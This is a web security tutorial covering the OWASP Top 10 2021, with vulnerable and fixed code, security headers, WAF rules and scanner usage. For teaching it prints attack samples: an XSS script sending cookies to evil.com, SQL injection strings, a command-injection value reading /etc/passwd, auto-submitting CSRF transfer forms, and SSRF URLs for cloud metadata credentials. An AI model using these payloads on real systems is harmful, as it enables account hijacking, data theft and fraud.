Network Security Fundamentals Part 6: Web Security and OWASP Top 10
네트워크 보안 기초부터 실전까지 6편: 웹 보안과 OWASP Top 10
Introduction: The Importance of Web Application Security
Most modern businesses operate through web applications. From online shopping, financial services, and social media to enterprise internal systems, web-based services have become core infrastructure. As a result, web applications have become primary targets for attackers, and web security has become the front line of corporate security.
OWASP (Open Web Application Security Project) is the most authoritative non-profit organization in web application security, periodically publishing the "OWASP Top 10," a list of the most critical web security risks. In this article, we'll examine major web vulnerabilities and defense methods in detail based on the OWASP Top 10 2021.
1. OWASP Top 10 2021 Overview
The OWASP Top 10 2021 is the latest version, with significant changes from the previous version (2017).
| Rank | Vulnerability | Description |
|---|---|---|
| A01 | Broken Access Control | Access control failures |
| A02 | Cryptographic Failures | Encryption failures |
| A03 | Injection | Injection attacks |
| A04 | Insecure Design | Insecure design |
| A05 | Security Misconfiguration | Security configuration errors |
| A06 | Vulnerable and Outdated Components | Vulnerable components |
| A07 | Identification and Authentication Failures | Authentication failures |
| A08 | Software and Data Integrity Failures | Software integrity failures |
| A09 | Security Logging and Monitoring Failures | Logging and monitoring failures |
| A10 | Server-Side Request Forgery (SSRF) | Server-side request forgery |
2. A01: Broken Access Control
Broken Access Control ranked #1 in the 2021 Top 10. It occurs when users can perform actions beyond their permissions.
2.1 Vulnerability Types
- Vertical privilege escalation: Regular users accessing admin functions
- Horizontal privilege escalation: Accessing other users' data
- IDOR (Insecure Direct Object Reference): Accessing other users' data by manipulating URL parameters
- Path traversal: Accessing files through directory traversal
2.2 Vulnerable Code Example
# Vulnerable code - IDOR vulnerability
@app.route('/api/user/<user_id>/profile')
def get_user_profile(user_id):
# Does not verify if user is currently logged in
user = User.query.get(user_id)
return jsonify(user.to_dict())
# Vulnerable code - No access control for admin function
@app.route('/admin/delete_user/<user_id>')
def delete_user(user_id):
User.query.filter_by(id=user_id).delete()
return "User deleted"
2.3 Secure Code Example
# Secure code - IDOR defense
@app.route('/api/user/<user_id>/profile')
@login_required
def get_user_profile(user_id):
# Only currently logged-in user can access their profile
if current_user.id != int(user_id):
abort(403) # Forbidden
user = User.query.get(user_id)
return jsonify(user.to_dict())
# Secure code - Role-based access control
@app.route('/admin/delete_user/<user_id>')
@login_required
@admin_required # Decorator to verify admin privileges
def delete_user(user_id):
if not current_user.is_admin:
abort(403)
User.query.filter_by(id=user_id).delete()
return "User deleted"
3. A03: Injection
Injection attacks occur when untrusted data is sent as part of a command or query. SQL Injection is the most common type.
3.1 SQL Injection Attack Types
- Classic SQL Injection: Extracting information through error messages
- Blind SQL Injection: Extracting information through true/false responses
- Time-based Blind SQL Injection: Extracting information through response time differences
- Union-based SQL Injection: Extracting data using UNION clause
3.2 SQL Injection Attack Examples
-- Vulnerable login query
SELECT * FROM users WHERE username = 'admin' AND password = 'password'
-- Attacker input: username = admin'--
SELECT * FROM users WHERE username = 'admin'--' AND password = 'anything'
-- Result: Password verification bypassed
-- Union-based attack
SELECT name, description FROM products WHERE id = 1 UNION SELECT username, password FROM users--
-- Time-based Blind SQL Injection
SELECT * FROM users WHERE id = 1; IF (1=1) WAITFOR DELAY '0:0:5'--
3.3 SQL Injection Defense
# Vulnerable code
def get_user(username):
query = f"SELECT * FROM users WHERE username = '{username}'"
cursor.execute(query)
return cursor.fetchone()
# Secure code - Prepared Statement (Parameterized Query)
def get_user(username):
query = "SELECT * FROM users WHERE username = %s"
cursor.execute(query, (username,))
return cursor.fetchone()
# Using ORM (SQLAlchemy)
def get_user(username):
return User.query.filter_by(username=username).first()
// Java - Using PreparedStatement
String query = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, username);
pstmt.setString(2, password);
ResultSet rs = pstmt.executeQuery();
3.4 Other Injection Attacks
# Command Injection vulnerability
import os
def ping_host(host):
os.system(f"ping -c 4 {host}") # Vulnerable!
# Attack: host = "8.8.8.8; cat /etc/passwd"
# Secure code
import subprocess
def ping_host(host):
# Input validation
if not re.match(r'^[\d.]+$', host):
raise ValueError("Invalid host")
subprocess.run(['ping', '-c', '4', host], capture_output=True)
4. A07: Identification and Authentication Failures
Authentication-related vulnerabilities occur in various areas including session management, password policies, and multi-factor authentication.
4.1 Vulnerability Types
- Allowing weak passwords
- Vulnerability to Credential Stuffing attacks
- Session Fixation
- Session ID exposed in URL
- Insecure password recovery
4.2 Secure Authentication Implementation
from flask import Flask, session
from werkzeug.security import generate_password_hash, check_password_hash
import secrets
app = Flask(__name__)
app.config['SECRET_KEY'] = secrets.token_hex(32)
app.config['SESSION_COOKIE_SECURE'] = True
app.config['SESSION_COOKIE_HTTPONLY'] = True
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'
# Password hashing
def create_user(username, password):
# Password complexity validation
if len(password) < 12:
raise ValueError("Password too short")
if not re.search(r'[A-Z]', password):
raise ValueError("Password needs uppercase")
if not re.search(r'[a-z]', password):
raise ValueError("Password needs lowercase")
if not re.search(r'\d', password):
raise ValueError("Password needs digit")
hashed = generate_password_hash(password, method='pbkdf2:sha256:310000')
# Or use bcrypt, argon2
User.create(username=username, password_hash=hashed)
# Login attempt limiting
from flask_limiter import Limiter
limiter = Limiter(app)
@app.route('/login', methods=['POST'])
@limiter.limit("5 per minute") # 5 attempts per minute
def login():
username = request.form['username']
password = request.form['password']
user = User.query.filter_by(username=username).first()
if user and check_password_hash(user.password_hash, password):
session.regenerate() # Regenerate session ID
session['user_id'] = user.id
return redirect('/dashboard')
# Generic message on failure (prevent information leakage)
return "Invalid credentials", 401
5. XSS (Cross-Site Scripting) Attacks and Defense
XSS is an attack where an attacker injects malicious scripts into web pages to execute them in other users' browsers.
5.1 XSS Types
- Stored XSS: Malicious script stored on server and delivered to other users
- Reflected XSS: Malicious script reflected through URL and executed
- DOM-based XSS: Occurs in client-side JavaScript
5.2 XSS Attack Examples
<!-- Stored XSS: Forum comment -->
<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>
<!-- Reflected XSS: Search results page -->
https://example.com/search?q=<script>alert('XSS')</script>
<!-- Various XSS payloads -->
<img src=x onerror="alert('XSS')">
<svg onload="alert('XSS')">
<body onload="alert('XSS')">
<iframe src="javascript:alert('XSS')">
5.3 XSS Defense
# Python Flask - Auto-escaping (Jinja2)
from markupsafe import escape
@app.route('/search')
def search():
query = request.args.get('q', '')
# Auto-escaping in template
return render_template('search.html', query=query)
# Manual escaping when needed
safe_input = escape(user_input)
// Safe DOM manipulation in JavaScript
// Vulnerable code
element.innerHTML = userInput;
// Secure code
element.textContent = userInput;
// Or use DOMPurify library
const clean = DOMPurify.sanitize(userInput);
element.innerHTML = clean;
5.4 Content Security Policy (CSP)
# CSP header configuration in Nginx
add_header Content-Security-Policy "
default-src 'self';
script-src 'self' 'nonce-randomvalue' https://trusted-cdn.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
font-src 'self' https://fonts.googleapis.com;
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
" always;
<!-- Using nonce in HTML -->
<script nonce="randomvalue">
// Only this script will execute
console.log('Allowed script');
</script>
6. CSRF (Cross-Site Request Forgery)
CSRF is an attack that uses an authenticated user's privileges to send requests desired by the attacker.
6.1 CSRF Attack Examples
<!-- CSRF attack code embedded in malicious website -->
<!-- GET request using image tag -->
<img src="https://bank.com/transfer?to=attacker&amount=10000">
<!-- POST request using form -->
<form action="https://bank.com/transfer" method="POST" id="csrf-form">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('csrf-form').submit();</script>
6.2 CSRF Defense
# CSRF token using Flask-WTF
from flask_wtf.csrf import CSRFProtect
app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key'
csrf = CSRFProtect(app)
# Using CSRF token in template
# <form method="post">
# {{ csrf_token() }}
# ...
# </form>
# For AJAX requests
# headers: {'X-CSRFToken': csrf_token}
// Including CSRF token in JavaScript
fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': document.querySelector('meta[name="csrf-token"]').content
},
body: JSON.stringify({to: 'recipient', amount: 100})
});
6.3 SameSite Cookie Configuration
# Flask session cookie configuration
app.config.update(
SESSION_COOKIE_SECURE=True,
SESSION_COOKIE_HTTPONLY=True,
SESSION_COOKIE_SAMESITE='Strict' # or 'Lax'
)
7. SSRF (Server-Side Request Forgery)
SSRF is an attack that makes the server send requests to attacker-specified URLs. It's exploited for internal network access and cloud metadata theft.
7.1 SSRF Attack Scenarios
# AWS metadata theft
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Internal service access
http://localhost:8080/admin
http://192.168.1.1/router-config
# File reading
file:///etc/passwd
7.2 SSRF Defense
import ipaddress
from urllib.parse import urlparse
def is_safe_url(url):
"""URL validation for SSRF defense"""
try:
parsed = urlparse(url)
# Protocol validation
if parsed.scheme not in ['http', 'https']:
return False
# IP address validation
hostname = parsed.hostname
if hostname:
try:
ip = ipaddress.ip_address(hostname)
# Block private IP, loopback, link-local
if ip.is_private or ip.is_loopback or ip.is_link_local:
return False
except ValueError:
# Domain case - whitelist validation
allowed_domains = ['api.trusted.com', 'cdn.example.com']
if hostname not in allowed_domains:
# Check IP to prevent DNS rebinding
import socket
resolved_ip = socket.gethostbyname(hostname)
ip = ipaddress.ip_address(resolved_ip)
if ip.is_private or ip.is_loopback:
return False
return True
except Exception:
return False
@app.route('/fetch')
def fetch_url():
url = request.args.get('url')
if not is_safe_url(url):
abort(400, "Invalid URL")
response = requests.get(url, timeout=5)
return response.content
8. Security Header Configuration
8.1 Key Security Headers
# Nginx security header configuration
server {
# Enable XSS filter
add_header X-XSS-Protection "1; mode=block" always;
# Prevent MIME sniffing
add_header X-Content-Type-Options "nosniff" always;
# Prevent clickjacking
add_header X-Frame-Options "DENY" always;
# Force HTTPS (HSTS)
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
# Referrer policy
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
# Permissions policy
add_header Permissions-Policy "geolocation=(), microphone=(), camera=()" always;
# Content Security Policy
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self'; connect-src 'self'; frame-ancestors 'none';" always;
}
8.2 Apache Configuration
# .htaccess or httpd.conf
Header always set X-XSS-Protection "1; mode=block"
Header always set X-Content-Type-Options "nosniff"
Header always set X-Frame-Options "DENY"
Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains; preload"
Header always set Referrer-Policy "strict-origin-when-cross-origin"
Header always set Content-Security-Policy "default-src 'self'"
8.3 Express.js (Helmet Middleware)
const express = require('express');
const helmet = require('helmet');
const app = express();
// Default security header configuration
app.use(helmet());
// Detailed configuration
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "'unsafe-inline'"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "data:", "https:"],
},
},
hsts: {
maxAge: 31536000,
includeSubDomains: true,
preload: true
},
frameguard: { action: 'deny' },
noSniff: true,
xssFilter: true
}));
9. WAF (Web Application Firewall)
9.1 WAF Concepts
A WAF is a security solution that filters and monitors HTTP traffic between web applications and the Internet. It blocks various web attacks including SQL Injection, XSS, and CSRF.
WAF Operation Methods:
- Signature-based: Matching known attack patterns
- Behavior-based: Detecting abnormal request patterns
- ML/AI-based: Detecting new attacks with machine learning
9.2 ModSecurity Configuration (Open Source WAF)
# ModSecurity installation (Ubuntu + Nginx)
sudo apt install libmodsecurity3 libmodsecurity-dev
sudo apt install libnginx-mod-http-modsecurity
# Download OWASP CRS (Core Rule Set)
cd /etc/nginx
sudo git clone https://github.com/coreruleset/coreruleset.git
cd coreruleset
sudo cp crs-setup.conf.example crs-setup.conf
# Nginx ModSecurity configuration
# /etc/nginx/modsec/modsecurity.conf
SecRuleEngine On
SecRequestBodyAccess On
SecResponseBodyAccess On
SecResponseBodyMimeType text/plain text/html text/xml
SecDataDir /tmp/
SecAuditEngine RelevantOnly
SecAuditLog /var/log/nginx/modsec_audit.log
# Enable in Nginx server block
server {
modsecurity on;
modsecurity_rules_file /etc/nginx/modsec/main.conf;
location / {
proxy_pass http://backend;
}
}
9.3 Cloud WAF Services
- AWS WAF: Integrated with AWS environment, works with CloudFront, ALB
- Cloudflare WAF: WAF service integrated with CDN
- Azure WAF: Integrated with Application Gateway
- Google Cloud Armor: Integrated with GCP load balancer
# AWS WAF CLI rule creation example
aws wafv2 create-web-acl \
--name "MyWebACL" \
--scope REGIONAL \
--default-action '{"Allow": {}}' \
--rules '[
{
"Name": "SQLInjectionRule",
"Priority": 1,
"Statement": {
"SqliMatchStatement": {
"FieldToMatch": {"AllQueryArguments": {}},
"TextTransformations": [{"Priority": 0, "Type": "URL_DECODE"}]
}
},
"Action": {"Block": {}},
"VisibilityConfig": {
"SampledRequestsEnabled": true,
"CloudWatchMetricsEnabled": true,
"MetricName": "SQLInjection"
}
}
]' \
--visibility-config SampledRequestsEnabled=true,CloudWatchMetricsEnabled=true,MetricName=MyWebACL
10. Web Vulnerability Scanners
10.1 OWASP ZAP (Zed Attack Proxy)
OWASP ZAP is a free, open-source web application security scanner.
# Run OWASP ZAP with Docker
docker run -t owasp/zap2docker-stable zap-baseline.py -t https://example.com
# Scan via API
docker run -u zap -p 8080:8080 -d owasp/zap2docker-stable zap.sh -daemon -host 0.0.0.0 -port 8080
# Using Python API
from zapv2 import ZAPv2
zap = ZAPv2(apikey='your-api-key', proxies={'http': 'http://localhost:8080'})
# Run Spider
scan_id = zap.spider.scan('https://example.com')
while int(zap.spider.status(scan_id)) < 100:
time.sleep(5)
# Run Active Scan
scan_id = zap.ascan.scan('https://example.com')
while int(zap.ascan.status(scan_id)) < 100:
time.sleep(5)
# Output results
print(zap.core.alerts())
10.2 Nikto
Nikto is a web server vulnerability scanner that detects server configuration errors and vulnerable files.
# Nikto installation and execution
sudo apt install nikto
# Basic scan
nikto -h https://example.com
# SSL scan
nikto -h https://example.com -ssl
# Specific port scan
nikto -h example.com -p 8080
# Save results to file
nikto -h https://example.com -o report.html -Format html
# Tuning options (perform specific tests only)
# 1 - Interesting files/CGI
# 2 - Default files
# 3 - Information disclosure
# 4 - Injection (XSS/Script/HTML)
nikto -h https://example.com -Tuning 1234
10.3 Burp Suite
Burp Suite is an integrated platform for web application security testing.
# Burp Suite proxy configuration (in browser)
HTTP Proxy: 127.0.0.1:8080
# Key features:
# - Proxy: Intercept and modify HTTP/HTTPS traffic
# - Spider: Website crawling
# - Scanner: Automated vulnerability scanning (Pro version)
# - Intruder: Automated attacks (brute force, etc.)
# - Repeater: Manually modify and resend requests
# - Decoder: Encoding/decoding tools
# - Comparer: Response comparison
10.4 Automated Security Testing Pipeline
# GitHub Actions - Security Scan Workflow
name: Security Scan
on:
push:
branches: [main]
pull_request:
branches: [main]
jobs:
security-scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Run OWASP ZAP Baseline Scan
uses: zaproxy/action-baseline@v0.7.0
with:
target: 'https://staging.example.com'
rules_file_name: '.zap/rules.tsv'
- name: Run Nikto Scan
run: |
docker run --rm frapsoft/nikto -h https://staging.example.com -o /dev/stdout
- name: Upload ZAP Report
uses: actions/upload-artifact@v3
with:
name: zap-report
path: report_html.html
Conclusion
Defense in Depth strategy is essential for web application security. Here's a summary of what we covered:
- OWASP Top 10: Understand the most important web security risks
- Input validation: All user input is potentially dangerous and requires thorough validation
- Output encoding: Proper escaping to prevent XSS
- Authentication/Authorization: Strong authentication mechanisms and granular permission management
- Security headers: Utilize browser security features like CSP, HSTS
- WAF: Additional security layer to block known attack patterns
- Regular scanning: Continuous security checks with vulnerability scanners
Web security should be considered from the early stages of development (Shift Left Security), and a DevSecOps approach that integrates security testing into the CI/CD pipeline is recommended. In the next part, we'll cover network monitoring and log analysis.